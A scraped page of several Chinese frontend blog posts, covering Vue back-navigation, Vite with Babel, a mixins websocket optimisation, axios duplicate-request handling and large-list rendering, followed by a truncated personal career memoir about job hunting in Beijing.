当我们使用项目外的网站跳转至项目路由再进行回退 :


null.png


我们可以看到state中有一个back属性 , 当外部网站跳转回来时history.state.back值为null


那么项目内部相互跳转再进行回退是什么效果呢 ?


login.png


我们可以看到state中的back值为/login , 那么我们就可以用小back来做判断了


// 回退按钮
<button @click="onClickBack">返回</button>
<templete>

</templete>
// 点击返回按钮事件函数
const onClickBack = () => {
//1. console.log(history) 可以试打印一下history对象
if ( history.state?.back ) {
//2. 如果history.state?.back不为null , 返回上一个页面
router.back()
} else {
//3. 否则返回主页面
router.push('/')
}
}


拓展: 可选链



  • 上面代码中我们用到了history.state?.back, 上文我们有提到history.state?.back的值有可能为null , 所以会发生找不到back属性的情况 ;

  • 我们可以使用ES2021可选链, 当然也可以使用条件判断或三元运算符等方法 , 相较而言可选链更加便捷一些 ;

  • ES2021(也称为ES12)是JavaScript的最新版本,于2021年6月发布。



640 (11).jpg


以上是我解决此问题的方案 , 小伙伴们有什么更好的方案可以一起探讨一下下~


作者:Kikoyuan
来源:juejin.cn/post/7263025923967516733
收起阅读 »

抛弃legacy,拥抱Babel

web
背景 公司项目使用Vite + Vue3技术栈,为了兼容低版本浏览器,使用@vitejs/plugin-legacy做代码转换,关于@vitejs/plugin-legacy是如何做代码转换的,参考我的这篇文章。 不过@vitejs/plugin-legacy...
继续阅读 »

背景


公司项目使用Vite + Vue3技术栈,为了兼容低版本浏览器,使用@vitejs/plugin-legacy做代码转换,关于@vitejs/plugin-legacy是如何做代码转换的,参考我的这篇文章


不过@vitejs/plugin-legacy存在以下几个问题:



  • 速度太慢,生成两套代码真的很耗时间

  • 动态加载兼容性代码在使用wujie等微前端框架时存在问题,无法正确加载兼容代码


基于此,笔者决定试试直接使用Babel转化代码,看看效果怎么样。


拥抱Babel


Babel是什么


如果你不知道Babel是什么,请参考这里


Babel 和 @vitejs/plugin-legacy对比


@vitejs/plugin-legacy 内部使用Babel做代码转化从而兼容低版本浏览器


@vitejs/plugin-legacy 会向html文件中插入按需加载兼容代码的逻辑,只有在低版本浏览器中才加载兼容代码


如果使用Babel做转化,则没有按需加载兼容代码的能力,每次都是加载兼容代码,在高版本的浏览器中毫无疑问的需要加载更多代码


使用Babel做转换,不会动态加载兼容代码,在微前端框架中稳定性会更好


实操


安装babel插件


首先安装@rollup/plugin-babel插件,此插件是一个Rollup插件,允许在Rollup中使用babel,因为Vite在打包时使用的就是Roolup,Vite官方也对部分主流Rollup插件做了兼容,所以此插件在Vite中可以放心使用。


pnpm add @rollup/plugin-babel -D

同时需要安装一些babel依赖:


pnpm add @babel/preset-env core-js@3 regenerator-runtime

注意 core-js需要使用最新的3版本,regenerator-runtime则用来做async、await语法转化


配置方法


首先需要在项目入口文件处加上如下两句:即引入polyfill


import 'core-js/stable';
import 'regenerator-runtime/runtime';

然后,在vite.config.ts文件中删除@vitejs/plugin-legacy插件,并在打包阶段加入@rollup/plugin-babel插件


import { defineConfig } from 'vite';
import PostCssPresetEnv from 'postcss-preset-env';
import { babel } from '@rollup/plugin-babel';

export default defineConfig(() => {
return {
build: {
cssTarget: 'chrome70', // 注意添加css的低版本兼容,当然也可以配置PostCssPresetEnv
target: 'es2015', // 使用esbuild将代码转换为ES5
rollupOptions: {
plugins: [
// https://www.npmjs.com/package/@rollup/plugin-babel
babel({
babelHelpers: 'bundled',
presets: [
[
'@babel/preset-env',
{
useBuiltIns: 'entry', // 注意这里只能使用 entry
corejs: '3',
targets: 'last 2 versions and not dead, > 0.2%, Firefox ESR',
},
],
],
plugins: [],
compact: false,
}),
],
},
},
css: {
preprocessorOptions: {
css: { charset: false },
},
postcss: {
// 注意这里需要对css也做下低版本兼容,否则部分样式无法应用
plugins: [PostCssPresetEnv()],
},
},
};
});

使用以上配置,表示当前我们在构建阶段要使用Babel,其中有如下几点注意事项:



  • 入口处必须导入polyfill相关文件

  • babel的配置中useBuiltIns选项必须设置为entry,不可使用usage,使用后者会导致生成的兼容代码出问题,具体原因未知,有兴趣的小伙伴可以研究下。

  • corejs版本写自己的安装版本,一般为3即可

  • build.target需要配置为esbuild最低可转化版本es2015,能低就低原则

  • 注意配置css的兼容方案,可以使用postcss-preset-env做降级,这是比较推荐的方式,当然也可以使用build.cssTarget属性配置,具体配置方法参考这里


目前按照这一套下来是可以跑通,实现使用babel兼容低版本浏览器。


总结


本文介绍了一种在Vite中使用babel做低版本浏览器兼容的方法,亲测可行,但是在整个过程中遇到了很多阻力,比如:



  • 不能使用babel中的useBuiltIns: 'usage'

  • css 也需要做兼容

  • 入口处需要引入兼容库

  • ...


不过最后好在完成了低版本浏览器兼容。


在这个过程中,笔者越来越觉着Vite在带来优秀的开发体验的同时,也同样引入了打包的高复杂度,高度的默认优化使得用户很难自己随心所欲的配置打包方案,开发和打包的差异性也让人很是担忧,不知道打包后的代码是否能正常运行,种种这些问题让我很是怀念webpack的打包时代。


每个新型事物的出现都会伴随着利弊,Vite还很新,它大幅优化了前端的开发体验,但也间接提高了打包复杂度。


市面上的打包器很多Vite、Webpack、Esbuild、Turbopack、Rspack ...,如何抉择还得看屏幕前的你了。


最后,加油吧,前端工程师们!期待有一天一个真正完美的打包器的问世,那将是美妙的一天。


作者:程序员小杨v1
来源:juejin.cn/post/7242220704288964666
收起阅读 »

改造mixins,我释放了20倍终端性能

web
前言 彦祖们,今天分享一个笔者遇到的真实项目场景, 做了一个项目肿瘤切除术,直接把性能提升 20 倍 认真看完,帮你简历上亮点。阅读本文前,默认彦祖们已经了解 vue.mixins 眼见为实,彦祖们先看下优化前后的性能对比 优化前 优化后 项目背景 开...
继续阅读 »

前言


彦祖们,今天分享一个笔者遇到的真实项目场景, 做了一个项目肿瘤切除术,直接把性能提升 20 倍


认真看完,帮你简历上亮点。阅读本文前,默认彦祖们已经了解 vue.mixins


眼见为实,彦祖们先看下优化前后的性能对比



  • 优化前
    WechatIMG142.jpg

  • 优化后
    WechatIMG143.jpg


项目背景


开始之前,让我们来简述一下项目背景


笔者的项目业务是工业互联网,简而言之就是帮助工厂实现数字化


其中的终端叫做工控机(性能较我们 PC 会相差几十倍),理解一下 就是工业操控机器,说白了就是供工人操作业务的一个终端


类似于我们去医院自助挂号/打印报告的那种终端


技术栈



  • vue2


问题定位


在笔者接手项目(历时三年的老项目,实在是非常痛苦)的时候,发现其中一个页面过一段时间就奔溃无响应,导致现场屡次投诉


这种依附于终端的界面属实不好调试


经过各种手段摸排,我们定位到了问题所在


其实就是 vue mixins 内容部添加了重复的 websocket 事件监听器


导致页面重复渲染,接口重复调用


在线 Demo


老规矩先上 demo


stackblitz.com/edit/vue-74…


现场场景复现


下面笔者简单模拟一下线上的真实代码场景


代码结构


因为线上的组件结构非常复杂,子组件数量达到了 20 个甚至 30 个以上


笔者就抽象了主要问题,模拟了一下 5 个子组件的情况


image.png


总结一下图中的两个关键信息


1.child 子组件可能 会被多个父组件引用


2.child 子组件的层级是不固定


代码目录结构大致如下



  • Parent.vue // 主页面

  • mixins

    • index.js // 核心的 mixin 文件



  • component

    • child1.vue // 子组件

      • grandchild1.vue // 孙子组件



    • child2.vue

    • child3.vue

    • child4.vue

    • child5.vue




代码说明


接下来让我们简单来看下项目中各个代码文件的主要作用



  • mixins.js


剥离业务逻辑后,核心就是增加了一个onmessage事件监听器


最后通过各自子组件自定义的onWsMessage去处理对应的业务逻辑


export const wsMixin = {
created() {
window.addEventListener('onmessage', this.onmessage)
},
beforeDestory() {
window.addEventListener('onmessage', this.onmessage)
},
methods: {
// ... 省略其他业务方法
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替,当然实际业务比这复杂太多
fetch(`https://api.example.com/${Date.now()}`)
// ...

// 开始处理对应的业务逻辑
this.onWsMessage(e.detail)
}
}
}



  • Parent.vue


引入子组件,并且模拟了 websocket 推送消息行为


<template>
<div id="app">
<Child1 />
<Child2 />
<Child3 />
<Child4 />
<Child5 />
</div>

</template>
<script>
import Child1 from './components/Child1.vue'
import Child2 from './components/Child2.vue'
import Child3 from './components/Child3.vue'
import Child4 from './components/Child4.vue'
import Child5 from './components/Child5.vue'
import { wsMixin } from './mixins'
// 模拟 websocket 1s 推送一次消息
setInterval(() => {
const event = new CustomEvent('onmessage', {
detail: { currentTime: new Date() }
})
window.dispatchEvent(event)
}, 1000)

export default {
name: 'Parent',
components: { Child1, Child2, Child3, Child4, Child5 },
mixins: [wsMixin],
methods: {
onWsMessage(data) {
console.log('parent onWsMessage', data)
}
}
}
</script>



  • child.vue


child.vue 核心逻辑都非常相似,此处以 child1.vue 举例,其他不再赘述


<template>
<div>
child1
</div>

</template>
<script>
import { wsMixin } from '../mixins'
export default {
mixins: [wsMixin],
methods: {
onWsMessage(data) {
console.log('child1 onWsMessage', data)
// 处理业务逻辑
}
}
}
</script>


现场预览


彦祖们,让我们来看一下模拟的现场


我们期望的效果应该是 onmessage 收到消息后,会发送一次请求


但是目前来看显然是发送了 6 次请求


实际线上更为复杂可能高达 20 倍,30 倍...这是非常可怕的事


2023-11-26 11.13.35.gif


开始动刀


接下来让我们一步步来切除这个监听器肿瘤,让终端变得更轻松


定位重复的监听器


现象已经比较明显了


彦祖们大致能猜想到是因为绑定了过多的 onmessage 监听器导致过多的重复逻辑.


我们可以借助 getEventListeners API 来看下指定对象的绑定事件



这个 API 只能在浏览器中调试,无法在代码中使用



chrome devTools 执行一下 getEventListeners(window)


很明显有 6 个重复的监听器(1个 Parent.vue + 5个 Child.vue)


image.png


getEventListeners 介绍


彦祖们这个 API 对于事件监听类的代码优化还是蛮有效的


我们还可以右键 listener 定位到具体的赋值函数
2023-11-26 11.25.18.gif


切除重复的监听器


目标已经很明确了,我们只需要一个 onmessage 监听器就足够了


那么把 child.vuemixins的监听器移除不就好了吗?


彦祖们可能会想到最简单的方案,就是把 mixins 改成函数形式,通过传参判断是否需要添加监听器


但是因为实际业务的复杂性,上文中也提到了 mixins 同时也被其他多个文件所引用,最终这个方案被 pass 了


那么我们可以反向思考一下,只给 Parent.vue 添加监听器


需要一个辅助函数来判断是否为 Parent.vue,直接看代码吧


const isSelfByComponentName = (vm, componentName) => {
// 这里借助了 element 的思路,新增了 componentName 属性,不影响 name 属性
return vm.$options.componentName === componentName
}

让我们来测试一下,很完美,为什么第一个 true 就能确定是父组件呢?


如果不了解的彦祖,建议你看下父子组件的加载渲染顺序


image.png


此时的



  • mixins.js


const isSelfComponentName = (vm, componentName) => {
return vm.$options.componentName === componentName
}

export const wsMixin = {
created() {
console.log('__SY__🍦 ~ created ~ isSelfComponentName', isSelfComponentName(this, 'Parent'))
if (isSelfComponentName(this, 'Parent')) window.addEventListener('onmessage', this.onmessage)
},
beforeDestory() {
window.removeEventListener('onmessage', this.onmessage)
},
methods: {
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替
fetch(`https://api.example.com/${Date.now()}`)
console.log('__SY__🍦 ~ onmessage ~ e:', e)
// 省略处理统一逻辑....

// 开始处理对应的业务逻辑
this.onWsMessage(e.detail)
}
}
}

如何进行子组件的消息分发?


前面我们已经把多余的监听器给切除了,网络请求的确变成了 1s一次, 但是新问题随即出现了


2023-11-26 12.18.50.gif


我们会发现此时只有Parent.vue触发了onWsMessage


child.vue的对应的 onWsMessage 并没有触发


那么此时的核心问题就是 如何从父组件的监听事件中分发消息给多个子组件?


利用观察者模式思想解决消息分发


我们可以借助观察者模式思想来实现这个功能


解决这个问题还有个前提,我们得知道哪些组件是 Parent.vue的子组件


同样我们需要借助一个辅助函数,直接安排


const isChildOf = (vm, componentName) => {
let parent = vm.$parent
// 这里为什么要向上遍历呢?因为前面提到了,子组件的层级是不固定的
while (parent) {
if (parent.$options.componentName === componentName) return true
parent = parent.$parent
}
return false
}

测试一下,不用看 就是自信


image.png


核心代码


彦祖们核心代码来了!


我们在 mixins.js 初始化一个 observerList=[], 用来存储子组件的 onWsMessage方法


created() {
if (isSelfComponentName(this, 'Parent')) {
observerList.push(this.onWsMessage) // 统一由 observerList 管理
window.addEventListener('onmessage', this.onmessage)
} else if(isChildOf(this,'Parent') {
observerList.push(this.onWsMessage)
}
}

收到消息后进行分发


methods: {
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替
fetch(`https://api.example.com/${Date.now()}`)

// 省略业务逻辑....

// 这里我们就要遍历 observerList
observerList.forEach(observer=>observer(e.detail))
}
}

看下优化后的效果
接口 1s一次,各组件也完整的接受到了信息


2023-11-26 12.16.25.gif


当然,除此之外,笔者还做了很多的性能优化手段
比如


1.把大量的 O(n^2) 的算法降维到了 O(n)


2.把非实时性数据做了节流保护


3.大量的template表达式语法迁移到了 computed


4.针对重复的赋值更新逻辑进行了拦截


5.利用 requestIdleCallback 在空闲帧执行 echarts 的渲染


写在最后


之前有彦祖问过笔者,什么才算是面试简历中的亮点


如果笔者是面试官,我觉得 能用最细碎的知识点 解决最复杂的业务问题 绝对算的上是项目亮点


文中的各个知识点,彦祖们应该都非常熟悉


能把你的八股文知识,转换成真正解决业务问题的能力,这是非常难得的


个人能力有限


如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟


作者:前端手术刀
来源:juejin.cn/post/7304973928039284777
收起阅读 »

前端接口防止重复请求实现方案

web
前言 前段时间老板心血来潮,要我们前端组对整个的项目都做一下接口防止重复请求的处理(似乎是有用户通过一些快速点击薅到了一些优惠券啥的)。。。听到这个需求,第一反应就是,防止薅羊毛最保险的方案不还是在服务端加限制吗?前端加限制能够拦截的毕竟有限。可老板就是执意要...
继续阅读 »

前言


前段时间老板心血来潮,要我们前端组对整个的项目都做一下接口防止重复请求的处理(似乎是有用户通过一些快速点击薅到了一些优惠券啥的)。。。听到这个需求,第一反应就是,防止薅羊毛最保险的方案不还是在服务端加限制吗?前端加限制能够拦截的毕竟有限。可老板就是执意要前端搞一下子,行吧,搞就搞吧,you happy jiu ok


虽然大部分的接口处理我们都是加了loading的,但又不能确保真的是每个接口都加了的,可是如果要一个接口一个接口的排查,那这维护了四五年的系统,成百上千的接口肯定要耗费非常多的精力,根本就是不现实的,所以就只能去做全局处理。下面就来总结一下这次的防重复请求的实现方案:


方案一


这个方案是最容易想到也是最朴实无华的一个方案:通过使用axios拦截器,在请求拦截器中开启全屏Loading,然后在响应拦截器中将Loading关闭。


image.png

这个方案固然已经可以满足我们目前的需求,但不管三七二十一,直接搞个全屏Loading还是不太美观,何况在目前项目的接口处理逻辑中还有一些局部Loading,就有可能会出现Loading套Loading的情况,两个圈一起转,头皮发麻。


方案二


加Loading的方案不太友好,而对于同一个接口,如果传参都是一样的,一般来说都没有必要连续请求多次吧。那我们可不可以通过代码逻辑直接把完全相同的请求给拦截掉,不让它到达服务端呢?这个思路不错,我们说干就干。


首先,我们要判断什么样的请求属于是相同请求


一个请求包含的内容不外乎就是请求方法地址参数以及请求发出的页面hash。那我们是不是就可以根据这几个数据把这个请求生成一个key来作为这个请求的标识呢?


// 根据请求生成对应的key
function generateReqKey(config, hash) {
const { method, url, params, data } = config;
return [method, url, JSON.stringify(params), JSON.stringify(data), hash].join("&");
}

有了请求的key,我们就可以在请求拦截器中把每次发起的请求给收集起来,后续如果有相同请求进来,那都去这个集合中去比对,如果已经存在了,说明就是一个重复的请求,我们就给拦截掉。当请求完成响应后,再将这个请求从集合中移除。合理,nice!


具体实现如下:


image.png

是不是觉得这种方案还不错,万事大吉?


no,no,no! 这个方案虽然理论上是解决了接口防重复请求这个问题,但是它会引发更多的问题。


比如,我有这样一个接口处理:


image.png


那么,当我们触发多次请求时:


image.png

这里我连续点击了4次按钮,可以看到,的确是只有一个请求发送出去,可是因为在代码逻辑中,我们对错误进行了一些处理,所以就将报错消息提示了3次,这样是很不友好的,而且,如果在错误捕获中有做更多的逻辑处理,那么很有可能会导致整个程序的异常。


而且,这种方案还会有另外一个比较严重的问题


我们在上面在生成请求key的时候把hash考虑进去了(如果是history路由,可以将pathname加入生成key),这是因为项目中会有一些数据字典型的接口,这些接口可能有不同页面都需要去调用,如果第一个页面请求的字典接口比较慢,第二个页面的接口就被拦截了,最后就会导致第二个页面逻辑错误。那么这么一看,我们生成key的时候加入了hash,讲道理就没问题了呀。


可是倘若我这两个请求是来自同一个页面呢?


比如,一个页面同时加载两个组件,而这两个组件都需要调用某个接口时:


image.png

那么此时,后调接口的组件就无法拿到正确数据了。啊这,真是难顶!


方案三


方案二的路子,我们发现确实问题重重,那么接下来我们来看第三种方案,也是我们最终采用的方案。


延续我们方案二的前面思路,仍然是拦截相同请求,但这次我们可不可以不直接把请求挂掉,而是对于相同的请求我们先给它挂起,等到最先发出去的请求拿到结果回来之后,把成功或失败的结果共享给后面到来的相同请求


image.png

思路我们已经明确了,但这里有几个需要注意的点:



  • 我们在拿到响应结果后,返回给之前我们挂起的请求时,我们要用到发布订阅模式(日常在面试题中看到,这次终于让我给用上了(^▽^))

  • 对于挂起的请求,我们需要将它拦截,不能让它执行正常的请求逻辑,所以一定要在请求拦截器中通过return Promise.reject()来直接中断请求,并做一些特殊的标记,以便于在响应拦截器中进行特殊处理


最后,直接附上完整代码:


import axios from "axios"

let instance = axios.create({
baseURL: "/api/"
})

// 发布订阅
class EventEmitter {
constructor() {
this.event = {}
}
on(type, cbres, cbrej) {
if (!this.event[type]) {
this.event[type] = [[cbres, cbrej]]
} else {
this.event[type].push([cbres, cbrej])
}
}

emit(type, res, ansType) {
if (!this.event[type]) return
else {
this.event[type].forEach(cbArr => {
if(ansType === 'resolve') {
cbArr[0](res)
}else{
cbArr[1](res)
}
});
}
}
}


// 根据请求生成对应的key
function generateReqKey(config, hash) {
const { method, url, params, data } = config;
return [method, url, JSON.stringify(params), JSON.stringify(data), hash].join("&");
}

// 存储已发送但未响应的请求
const pendingRequest = new Set();
// 发布订阅容器
const ev = new EventEmitter()

// 添加请求拦截器
instance.interceptors.request.use(async (config) => {
let hash = location.hash
// 生成请求Key
let reqKey = generateReqKey(config, hash)

if(pendingRequest.has(reqKey)) {
// 如果是相同请求,在这里将请求挂起,通过发布订阅来为该请求返回结果
// 这里需注意,拿到结果后,无论成功与否,都需要return Promise.reject()来中断这次请求,否则请求会正常发送至服务器
let res = null
try {
// 接口成功响应
res = await new Promise((resolve, reject) => {
ev.on(reqKey, resolve, reject)
})
return Promise.reject({
type: 'limiteResSuccess',
val: res
})
}catch(limitFunErr) {
// 接口报错
return Promise.reject({
type: 'limiteResError',
val: limitFunErr
})
}
}else{
// 将请求的key保存在config
config.pendKey = reqKey
pendingRequest.add(reqKey)
}

return config;
}, function (error) {
return Promise.reject(error);
});

// 添加响应拦截器
instance.interceptors.response.use(function (response) {
// 将拿到的结果发布给其他相同的接口
handleSuccessResponse_limit(response)
return response;
}, function (error) {
return handleErrorResponse_limit(error)
});

// 接口响应成功
function handleSuccessResponse_limit(response) {
const reqKey = response.config.pendKey
if(pendingRequest.has(reqKey)) {
let x = null
try {
x = JSON.parse(JSON.stringify(response))
}catch(e) {
x = response
}
pendingRequest.delete(reqKey)
ev.emit(reqKey, x, 'resolve')
delete ev.reqKey
}
}

// 接口走失败响应
function handleErrorResponse_limit(error) {
if(error.type && error.type === 'limiteResSuccess') {
return Promise.resolve(error.val)
}else if(error.type && error.type === 'limiteResError') {
return Promise.reject(error.val);
}else{
const reqKey = error.config.pendKey
if(pendingRequest.has(reqKey)) {
let x = null
try {
x = JSON.parse(JSON.stringify(error))
}catch(e) {
x = error
}
pendingRequest.delete(reqKey)
ev.emit(reqKey, x, 'reject')
delete ev.reqKey
}
}
return Promise.reject(error);
}

export default instance;

补充


到这里,这么一通操作下来上面的代码讲道理是万无一失了,但不得不说,线上的情况仍然是复杂多样的。而其中一个比较特殊的情况就是文件上传


image.png

可以看到,我在这里是上传了两个不同的文件的,但只调用了一次上传接口。按理说是两个不同的请求,可为什么会被我们前面写的逻辑给拦截掉一个呢?


我们打印一下请求的config:


image.png

可以看到,请求体data中的数据是FormData类型,而我们在生成请求key的时候,是通过JSON.stringify方法进行操作的,而对于FormData类型的数据执行该函数得到的只有{}。所以,对于文件上传,尽管我们上传了不同的文件,但它们所发出的请求生成的key都是一样的,这么一来就触发了我们前面的拦截机制。


那么我们接下来我们只需要在我们原来的拦截逻辑中判断一下请求体的数据类型即可,如果含有FormData类型的数据,我们就直接放行不再关注这个请求就是了。


function isFileUploadApi(config) {
return Object.prototype.toString.call(config.data) === "[object FormData]"
}

最后


到这里,整个的需求总算是完结啦!不用一个个接口的改代码,又可以愉快的打代码了,nice!


Demo地址


作者:沽汣
来源:juejin.cn/post/7341840038964363283
收起阅读 »

我的发!被后端五万条数据爆破我是怎么处理的

web
前言 今天面试的时候面试官直接问了一句后端一次性返回10万条数据给你,你如何处理?,我脑中浮现的第一句话就是拿着物理学圣剑找后端进行 “友好的协商”,谁打赢了听谁的。不过虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将带着大家一些处理方案。...
继续阅读 »

前言


今天面试的时候面试官直接问了一句后端一次性返回10万条数据给你,你如何处理?,我脑中浮现的第一句话就是拿着物理学圣剑找后端进行 “友好的协商”,谁打赢了听谁的。不过虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将带着大家一些处理方案。


正文


方案一 直接渲染


如果请求到10万条数据直接渲染,页面会卡死的,很显然,这种方式是不可取的。 pass!


 async getData() {
this.loading = true;
const res = await axios.get("/api/getData");
this.arr = res.data.data;
this.loading = false;
}

方案二 setTimeout分页渲染


这个方法就是,把10w按照每页数量limit分成总共Math.ceil(total / limit)页,然后利用setTimeout,每次渲染1页数据,这样的话,渲染出首页数据的时间大大缩减了。


const renderData = async () => {
const Data = await getData()
const total = Data.length

const page = 0
//每页数量
const limit = 200
//总页数
const totalPage = Math.ceil(total / limit)

const render = (page) => {
if (page >= totalPage) return
setTimeout(() => {
for (let i = page * limit; i < page * limit + limit; i++) {
const item = Data[i]
const div = document.createElement('div')
div.className = 'sunshine'
div.innerHTML = `${item.src}" />${item.text}`
container.appendChild(div)
}
render(page + 1)
}, 0)
}

render(page)
}

方案三 requestAnimationFrame


使用requestAnimationFrame代替setTimeout,减少了重排的次数,极大提高了性能,建议大家在渲染方面多使用requestAnimationFrame


const renderData = async () => {
const Data = await getData()
const total = Data.length

const page = 0
//每页数量
const limit = 200
//总页数
const totalPage = Math.ceil(total / limit)


const render = (page) => {
if (page >= totalPage) return
// 使用requestAnimationFrame代替setTimeout
requestAnimationFrame(() => {
for (let i = page * limit; i < page * limit + limit; i++) {
const item = Data[i]
const div = document.createElement('div')
div.className = 'sunshine'
div.innerHTML = `${item.src}" />${item.text}`
container.appendChild(div)
}
render(page + 1)
})
}

render(page)
}

方案四 表格滚动触底加载


原理很简单,就是在列表尾部放一个空节点,然后先渲染第1页数据,向上滚动,等到空节点出现在视图中,就说明到底了,这时候再加载第二页,往后以此类推。


至于怎么判断blank出现在视图上,可以使用getBoundingClientRect方法获取top属性。也可以用 js 的IntersectionObserver API 来实现




<template>
<div id="container" @scroll="handleScroll" ref="container">
<div class="sunshine" v-for="(item) in showList" :key="item.tid">
<img :src="item.src" />
<span>{{ item.text }}span>

div>
<div ref="blank">div>
div>
template>

方案五 虚拟列表


什么是虚拟列表?


所谓的虚拟列表实际上是前端障眼法的一种表现形式。


看到的好像所有的数据都渲染了,实际上只渲染可视区域的部分罢了。如果10万条数据都渲染,那得需要多少dom节点元素呢?所以我们只给用户看,他当下能看到的如果用户要下拉滚动条或者上拉滚动条再把对应的内容呈现在可视区域内。这样就实现了看着像是所有的dom元素每一条数据都有渲染的障眼法效果了


实现


<template>

<div
class="virtualListWrap"
ref="virtualListWrap"
@scroll="handleScroll"
:style="{ height: itemHeight * count + 'px' }"
>


<div
class="placeholderDom"
:style="{ height: allListData.length * itemHeight + 'px' }"
>
div>

<div class="contentList" :style="{ top: topVal }">

<div
v-for="(item, index) in showListData"
:key="index"
class="itemClass"
:style="{ height: itemHeight + 'px' }"
>

{{ item.name }}
div>
div>

<div class="loadingBox" v-show="loading">
<i class="el-icon-loading">i>
  <span>loading...span>
div>
div>
template>

作者:笨鸟更要先飞
来源:juejin.cn/post/7338636024212504613
收起阅读 »

普通二本一路打怪升级入职腾讯

2016 年初开始北漂工作,距今刚好 7 年了,做个简单的总结 考研败北,不再二战 聊工作不得不先说下考研失败的经历 大三和大四一直备战考研,没有为找工作做一点准备工作,可以说就没给自己留任何的退路,起早贪黑的备考,皇天不负有心人---落榜 当年真没少刷张宇、...
继续阅读 »

2016 年初开始北漂工作,距今刚好 7 年了,做个简单的总结


考研败北,不再二战


聊工作不得不先说下考研失败的经历 大三和大四一直备战考研,没有为找工作做一点准备工作,可以说就没给自己留任何的退路,起早贪黑的备考,皇天不负有心人---落榜


当年真没少刷张宇、李永乐、肖秀荣的题,但翻看当年的一条动态,这个结果在意料之中,得知结果后,当时纠结是否要二战,二战真的需要极大的勇气和毅力,我是经历过高考复读的,11年高考过了线,但志愿没报好【报志愿是非常重要的事儿,我这是错误示范】,脱靶了,这个没有别的选择了,再战,复读那一年压力,可能只有经历过的人能懂,所以这次考研我没有选择二战,再战一年考上的概率多大呢?自己心里是没底的,可能尽早步入社会于我而言是个不错的选择


图片


考研倒计时


第一次步入社会的实习


因为大学最后的时光备战考研,没有准备工作的面试,过年放假在家里那段时间也是蛮焦虑的,当时拿到了一个网优工程师的机会,但说白了是探测信号的,感觉与自己期望的不一样,虽说当时自己真的不知道要啥,但还是放弃了这个机会


图片


就业焦虑


高中同学在卓望公司实习,人力资源方向,找人帮我推荐了下,1 月来北京面试,面试那天和老七,李雪琪一起吃的饭,与他们见面确实挺开心的,那晚在老七那儿住的,第一次吃羊蝎子【没吃过之前以为羊蝎子是蝎子】,现在回首,依然感慨有同学真好,要珍惜呀


图片


同学情


面试完很快就出了结果-通过了,自己确实技能远远不够,大家都很忙,带我的师傅没空带我,我就自学点东西,实习工资 2100,带薪学习,也还行吧,但我更渴望的是接触真实的工作,但直到我最后离开,也没体验到,那段时间蛮焦虑的,明耀哥和我说可以转正,但可能在这里并非特别适合我,我也认同,当时还找组内大龄程序猿郭哥聊,最后我选择了离开


图片


实习迷茫


3 个月的实习时间,赶上了公司的一次团建和一次聚餐,蛮开心的


反思



没有人有义务带你即使是你的师傅,一切要靠自己,切记!



短暂的实习知道了自己的不足,开始集中学习,毕业后又开始了社招面试之旅,没有工作经验的社招的难度,经历过的都懂,下面开始了崎岖之旅


社招曲折之旅


第一次给了外包,且只做了一天


第一个 offer 是一个外包,外派到中国移动,本来面试时是做 Java 开发,入职第一天,记得非常清楚,那天下雨了,仿佛暗示着什么


刚到公司,要先做移动的安全检测题,耗费了我洪荒之力,终于通过了,然后左拐右拐终于到了我的办公区,一间狭小的会议室,几个人在会议室里,一看就不正规,然后负责人也是我当时的面试官说,先看看安卓测试的知识吧,然后巴拉巴拉一堆,最后得到的信息是让我先干测试,我内心万马奔腾,感觉受到了欺骗


这里做的事和我的短期规划不符,我当时依然没有任何退路,但因为刚开始嘛,试错成本很低 所以我坚定了选择了辞职,第二天跑到海淀西北旺那边的联想总部园区办离职,期间路过百度大厦,仰望着发了会儿呆,继续朝目的地走去,就这样结束了一天的外包生涯


下面这个截图大概率是入职当天下班后发的动态,现在看我也有点懵,瞎BB这么多字,到底想表达啥?人生不是选择就是循环,也可能嵌套,我用了 do-while 先做再校验的循环,接受这个机会,发现并不适合自己,那就果断跳出循环体了,没有遗憾了


图片


第一次外包第一天下班感想


反思



面试一定要聊清楚进去做什么,是否和自己的规划匹配,如果不,最好果断做决定。如果确定不了,不妨再试错成本低的前提下尝试一下,然后再做选择



第二次选择了第三方支付


外包离职后做了简单的调整,又开始了忙碌的找工作,投了不少简历,大多石沉大海,庆幸被几家公司捞起来邀请了面试,拿了三个 offer,有一个忘记公司名字了,面试通过了但让我先去工作几天,然后再签合同,大概是想先检查下我是否能干活儿,这种要求没听说过,果断拒绝


另两个 offer 是一家做互联网医疗的公司和第三方支付,互联网医疗那个面试流程走的很快,且催的比较急,我先接了 offer,也定了入职时间。同时一直在催第三方支付的走流程,还好在医疗那家公司入职日期前走完了流程。然后告诉 hr 说不去了,这是第一次拒绝 offer,当时非常的愧疚,所以从那以后一直到现在,在不确定的接 offer 的情况下,从没有答应过,不想给别人找麻烦


在这两个 offer 之间做选择时几乎没怎么犹豫,因为在 16 年时,支付业务还是可以的,而且这家公司还有支付牌照,一个支付牌照很贵的,而且不增发了,所以很多大公司通过收购有支付牌照的小公司来开展自己的支付业务 这家支付公司也是一样,被亿利资源集团收购了,估计也是看重了支付牌照


这家公司挺有意思的,地点在大望路,北京电视台大裤衩旁边,这个位置价格可不便宜,可以看出亿利资源这家集团还是很强的,国企范儿,下面我必须要聊聊在这家公司的一些事儿


你听说过程序猿要穿西装,白衬衫,打领带,穿皮鞋吗?这个集团就这个要求,不管啥职位,不管男女,都这要求,中午我们几个出去溜达,不知有多少人投来异样的眼光,估计我们要么是卖保险的,要么是中介。而且更离谱的是每天都有检查的,要是被发现不符合规范,可是真的要扣钱的,我一共被扣了两次,每次 500 元。一次是说我皮鞋颜色不符合规范,一次是没有戴工卡,当天检查当天就通报呀,会立马在下次发工资中扣除掉,办事特迅速


这真的是我职业生涯中挺有意思的一个插曲


我们这个支付公司比较小,主要做的业务有批量代付、批量代收、网银支付、快捷支付等,一般客户都是集团内部的,使用的比较少 说说技术,基础服务用的 Dubbo + Zookeeper,数据库用的 Oracle,MQ  用的 RabbitMQ,这些还行,尤其是 Dubbo,这可是我第一次接触,还是有点兴奋的 Web 服务相对有点 low 了,还用了 JSP,我是写过 JSP 的人,我敢打赌,现在看这篇文章的人,一定有没写过 JSP 的人,如果写过 JSP 的请留言告诉我


上线采用人肉上线法,替换 class,对,你没看错,上线前开发要写好上线文档,替换哪些 JSP 文件以及 class 文件,然后由运维手动替换,再重启服务,现在都记忆犹新


